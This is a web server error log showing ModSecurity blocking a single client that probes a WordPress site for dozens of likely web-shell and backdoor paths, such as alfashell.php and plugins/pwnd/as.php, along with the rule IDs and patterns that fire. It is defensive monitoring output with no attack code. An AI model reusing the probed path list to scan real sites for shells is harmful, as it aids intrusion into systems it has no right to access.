[Tue Apr 21 16:37:29.302178 2026] [:error] [pid 4777:tid 4788] [client 98.71.67.66:30697] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aec3SaxXur6bykKyLZSP2gAAAQA"]
[Tue Apr 21 16:37:30.120324 2026] [:error] [pid 54080:tid 54085] [client 98.71.67.66:34242] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aec3SozEbQHHxtmWbaZ2VwAAAsM"]
[Tue Apr 21 16:37:30.997350 2026] [:error] [pid 54080:tid 54100] [client 98.71.67.66:30696] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aec3SozEbQHHxtmWbaZ2WwAAAtI"]
[Tue Apr 21 16:37:31.668706 2026] [:error] [pid 35320:tid 35349] [client 98.71.67.66:16540] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aec3S4JW6fdXWO6agMFBKQAAABM"]
[Tue Apr 21 16:37:32.411102 2026] [:error] [pid 53978:tid 53990] [client 98.71.67.66:1348] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aec3TJ1ivsR4hcOSQbbCXAAAAoo"]
[Tue Apr 21 16:37:33.000037 2026] [:error] [pid 53978:tid 53991] [client 98.71.67.66:16528] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/fe5.php"] [unique_id "aec3TJ1ivsR4hcOSQbbCXwAAAos"]
[Tue Apr 21 16:37:33.631010 2026] [:error] [pid 53978:tid 53987] [client 98.71.67.66:30662] File does not exist: /usr/local/apache/htdocs/suspended-page/fe5.php
[Tue Apr 21 16:37:34.192474 2026] [:error] [pid 53978:tid 53981] [client 98.71.67.66:30662] File does not exist: /usr/local/apache/htdocs/suspended-page/av.php
[Tue Apr 21 16:37:34.479804 2026] [:error] [pid 53978:tid 53989] [client 98.71.67.66:30662] File does not exist: /usr/local/apache/htdocs/suspended-page/abcd.php
[Tue Apr 21 16:37:35.977831 2026] [:error] [pid 53978:tid 53989] [client 98.71.67.66:30662] File does not exist: /usr/local/apache/htdocs/suspended-page/fi.php
[Tue Apr 21 16:37:36.248964 2026] [:error] [pid 53978:tid 54001] [client 98.71.67.66:30662] File does not exist: /usr/local/apache/htdocs/suspended-page/a1.php
[Tue Apr 21 16:37:36.789952 2026] [:error] [pid 53978:tid 53983] [client 98.71.67.66:30662] [client 98.71.67.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aec3UJ1ivsR4hcOSQbbCaQAAAoM"]
[Tue Apr 21 16:37:37.392032 2026] [:error] [pid 4823:tid 4861] [client 98.71.67.66:30713] File does not exist: /usr/local/apache/htdocs/suspended-page/f35.php
[Tue Apr 21 16:37:38.222207 2026] [:error] [pid 4823:tid 4873] [client 98.71.67.66:30713] File does not exist: /usr/local/apache/htdocs/suspended-page/k.php
[Tue Apr 21 16:37:38.482486 2026] [:error] [pid 4823:tid 4871] [client 98.71.67.66:30713] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aec3Uvc8mke3PfHqsxHaXAAAAZI"]
[Tue Apr 21 16:37:39.256468 2026] [:error] [pid 35321:tid 35387] [client 98.71.67.66:24785] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aec3UzeHLhVUuu8cVXzg2QAAAEM"]
[Tue Apr 21 16:37:40.085854 2026] [:error] [pid 54080:tid 54085] [client 98.71.67.66:30670] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aec3VIzEbQHHxtmWbaZ2agAAAsM"]
[Tue Apr 21 16:37:40.861733 2026] [:error] [pid 35321:tid 35390] [client 98.71.67.66:17231] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dev.php"] [unique_id "aec3VDeHLhVUuu8cVXzg4AAAAEY"]
[Tue Apr 21 16:37:41.398812 2026] [:error] [pid 35320:tid 35339] [client 98.71.67.66:31981] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aec3VYJW6fdXWO6agMFBYQAAAAk"]
[Tue Apr 21 16:37:42.050272 2026] [:error] [pid 4823:tid 4858] [client 98.71.67.66:49357] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aec3Vvc8mke3PfHqsxHaYAAAAYU"]
[Tue Apr 21 16:37:42.745075 2026] [:error] [pid 53832:tid 53853] [client 98.71.67.66:34881] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aec3VtzkuxsE_OhM9UI-wgAAAlI"]
[Tue Apr 21 16:37:43.336135 2026] [:error] [pid 53832:tid 53844] [client 98.71.67.66:1327] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bal.php"] [unique_id "aec3V9zkuxsE_OhM9UI-xAAAAkk"]
[Tue Apr 21 16:37:44.090465 2026] [:error] [pid 35321:tid 35407] [client 98.71.67.66:1057] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aec3WDeHLhVUuu8cVXzg5AAAAFc"]
[Tue Apr 21 16:37:44.872739 2026] [:error] [pid 53978:tid 53999] [client 98.71.67.66:36877] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aec3WJ1ivsR4hcOSQbbCcgAAApM"]
[Tue Apr 21 16:37:45.768964 2026] [:error] [pid 35321:tid 35385] [client 98.71.67.66:17199] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aec3WTeHLhVUuu8cVXzg7QAAAEE"]
[Tue Apr 21 16:37:46.459920 2026] [:error] [pid 35322:tid 35374] [client 98.71.67.66:34927] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/in.php"] [unique_id "aec3WqPoAfV40BTfVKzLOQAAAJE"]
[Tue Apr 21 16:37:47.876110 2026] [:error] [pid 35320:tid 35354] [client 98.71.67.66:1406] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aec3W4JW6fdXWO6agMFBcwAAABg"]
[Tue Apr 21 16:37:49.161310 2026] [:error] [pid 54080:tid 54095] [client 98.71.67.66:26901] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aec3XYzEbQHHxtmWbaZ2fAAAAs0"]
[Tue Apr 21 16:37:50.104982 2026] [:error] [pid 35320:tid 35350] [client 98.71.67.66:1201] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aec3XoJW6fdXWO6agMFBfwAAABQ"]
[Tue Apr 21 16:37:50.818140 2026] [:error] [pid 35320:tid 35352] [client 98.71.67.66:1377] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gssdd.php"] [unique_id "aec3XoJW6fdXWO6agMFBiAAAABY"]
[Tue Apr 21 16:37:51.487962 2026] [:error] [pid 35321:tid 35384] [client 98.71.67.66:34905] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aec3XzeHLhVUuu8cVXzg7gAAAEA"]
[Tue Apr 21 16:37:52.256286 2026] [:error] [pid 4823:tid 4859] [client 98.71.67.66:16550] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aec3YPc8mke3PfHqsxHabQAAAYY"]
[Tue Apr 21 16:37:52.953163 2026] [:error] [pid 35321:tid 35389] [client 98.71.67.66:49381] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aec3YDeHLhVUuu8cVXzg7wAAAEU"]
[Tue Apr 21 16:37:53.779923 2026] [:error] [pid 4823:tid 4863] [client 98.71.67.66:1351] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/cgi-bin/admin.php"] [unique_id "aec3Yfc8mke3PfHqsxHabwAAAYo"]
[Tue Apr 21 16:37:54.529274 2026] [:error] [pid 4823:tid 4861] [client 98.71.67.66:1049] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aec3Yvc8mke3PfHqsxHacwAAAYg"]
[Tue Apr 21 16:37:55.282807 2026] [:error] [pid 35320:tid 35351] [client 98.71.67.66:42871] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aec3Y4JW6fdXWO6agMFBkwAAABU"]
[Tue Apr 21 16:37:56.026553 2026] [:error] [pid 54080:tid 54096] [client 98.71.67.66:1366] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aec3ZIzEbQHHxtmWbaZ2kQAAAs4"]
[Tue Apr 21 16:37:56.599154 2026] [:error] [pid 35320:tid 35342] [client 98.71.67.66:16532] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aec3ZIJW6fdXWO6agMFBmwAAAAw"]
[Tue Apr 21 16:37:57.324151 2026] [:error] [pid 54080:tid 54083] [client 98.71.67.66:65250] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aec3ZYzEbQHHxtmWbaZ2mAAAAsE"]
[Tue Apr 21 16:37:58.120002 2026] [:error] [pid 54080:tid 54093] [client 98.71.67.66:17160] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aec3ZozEbQHHxtmWbaZ2mwAAAss"]
[Tue Apr 21 16:37:58.673793 2026] [:error] [pid 53832:tid 53838] [client 98.71.67.66:34918] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aec3ZtzkuxsE_OhM9UI-zgAAAkM"]
[Tue Apr 21 16:37:59.424388 2026] [:error] [pid 35321:tid 35407] [client 98.71.67.66:34294] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aec3ZzeHLhVUuu8cVXzg_AAAAFc"]
[Tue Apr 21 16:38:00.008412 2026] [:error] [pid 35320:tid 35345] [client 98.71.67.66:34250] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aec3aIJW6fdXWO6agMFBpwAAAA8"]
[Tue Apr 21 16:38:00.792310 2026] [:error] [pid 35320:tid 35354] [client 98.71.67.66:30663] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aec3aIJW6fdXWO6agMFBsQAAABg"]
[Tue Apr 21 16:38:01.400693 2026] [:error] [pid 35320:tid 35349] [client 98.71.67.66:1375] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aec3aYJW6fdXWO6agMFBvAAAABM"]
[Tue Apr 21 16:38:02.016233 2026] [:error] [pid 35320:tid 35341] [client 98.71.67.66:1344] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/axx.php"] [unique_id "aec3aoJW6fdXWO6agMFBwQAAAAs"]
[Tue Apr 21 16:38:02.605907 2026] [:error] [pid 35320:tid 35333] [client 98.71.67.66:24782] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aec3aoJW6fdXWO6agMFBxgAAAAM"]
[Tue Apr 21 16:38:03.271368 2026] [:error] [pid 54080:tid 54098] [client 98.71.67.66:24769] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aec3a4zEbQHHxtmWbaZ2vQAAAtA"]
[Tue Apr 21 16:38:03.950982 2026] [:error] [pid 4823:tid 4869] [client 98.71.67.66:65225] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aec3a_c8mke3PfHqsxHaewAAAZA"]
[Tue Apr 21 16:38:04.536864 2026] [:error] [pid 35320:tid 35345] [client 98.71.67.66:42816] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/alfashell.php"] [unique_id "aec3bIJW6fdXWO6agMFB0wAAAA8"]
[Tue Apr 21 16:38:05.274397 2026] [:error] [pid 4777:tid 4791] [client 98.71.67.66:1353] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aec3baxXur6bykKyLZSP5gAAAQM"]
[Tue Apr 21 16:38:05.939945 2026] [:error] [pid 54080:tid 54106] [client 98.71.67.66:1283] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aec3bYzEbQHHxtmWbaZ24AAAAtg"]
[Tue Apr 21 16:38:06.563313 2026] [:error] [pid 53832:tid 53852] [client 98.71.67.66:16574] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aec3btzkuxsE_OhM9UI-1AAAAlE"]
[Tue Apr 21 16:38:07.214779 2026] [:error] [pid 35321:tid 35402] [client 98.71.67.66:49359] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aec3bzeHLhVUuu8cVXzhDAAAAFI"]
[Tue Apr 21 16:38:08.101359 2026] [:error] [pid 53832:tid 53850] [client 98.71.67.66:30709] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aec3cNzkuxsE_OhM9UI-2AAAAk8"]
[Tue Apr 21 16:38:08.630696 2026] [:error] [pid 35321:tid 35400] [client 98.71.67.66:65238] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aec3cDeHLhVUuu8cVXzhFAAAAFA"]
[Tue Apr 21 16:38:09.436029 2026] [:error] [pid 35320:tid 35336] [client 98.71.67.66:1207] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aec3cYJW6fdXWO6agMFB9wAAAAY"]
[Tue Apr 21 16:38:10.077314 2026] [:error] [pid 35320:tid 35333] [client 98.71.67.66:1188] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/acp.php"] [unique_id "aec3coJW6fdXWO6agMFB_gAAAAM"]
[Tue Apr 21 16:38:10.752491 2026] [:error] [pid 4777:tid 4804] [client 98.71.67.66:42838] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aec3cqxXur6bykKyLZSP6QAAARA"]
[Tue Apr 21 16:38:11.376847 2026] [:error] [pid 35321:tid 35391] [client 98.71.67.66:65252] [client 98.71.67.66] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/file48.php"] [unique_id "aec3czeHLhVUuu8cVXzhGwAAAEc"]
